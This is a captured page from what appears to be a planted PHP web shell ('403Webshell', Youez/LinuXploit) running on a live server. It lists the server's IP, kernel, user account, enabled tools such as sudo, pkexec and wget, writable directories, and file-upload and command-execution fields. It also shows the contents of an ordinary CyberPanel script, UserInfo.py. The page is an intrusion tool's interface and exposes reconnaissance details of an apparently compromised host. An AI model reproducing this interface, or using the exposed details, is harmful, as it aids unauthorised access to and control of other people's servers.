403Webshell
Server IP : 195.114.193.97  /  Your IP : 216.73.217.93
Web Server : LiteSpeed
System : Linux host 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
User : sembi4241 ( 1126)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/CyberCP/CLScript/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/CyberCP/CLScript/UserInfo.py
#!/usr/local/CyberCP/bin/python
import getpass

def main():
    import pwd
    if getpass.getuser() == 'root':
        userType = "admin"
    else:
        try:
            uid = pwd.getpwnam(getpass.getuser()).pw_uid
            userType = 'reseller'
        except:
            userType = 'user'

    data = """{
    "userName": "%s",
    "userType": "%s",
    "lang": "en",
    "assetsUri": "/usr/local/lvemanager",
    "baseUri": "/usr/local/lvemanager",
    "defaultDomain": "cyberpanel.net"
}""" % (getpass.getuser(), userType)

    print(data)

if __name__ == '__main__':
    main()

Youez - 2016 - github.com/yon3zu
LinuXploit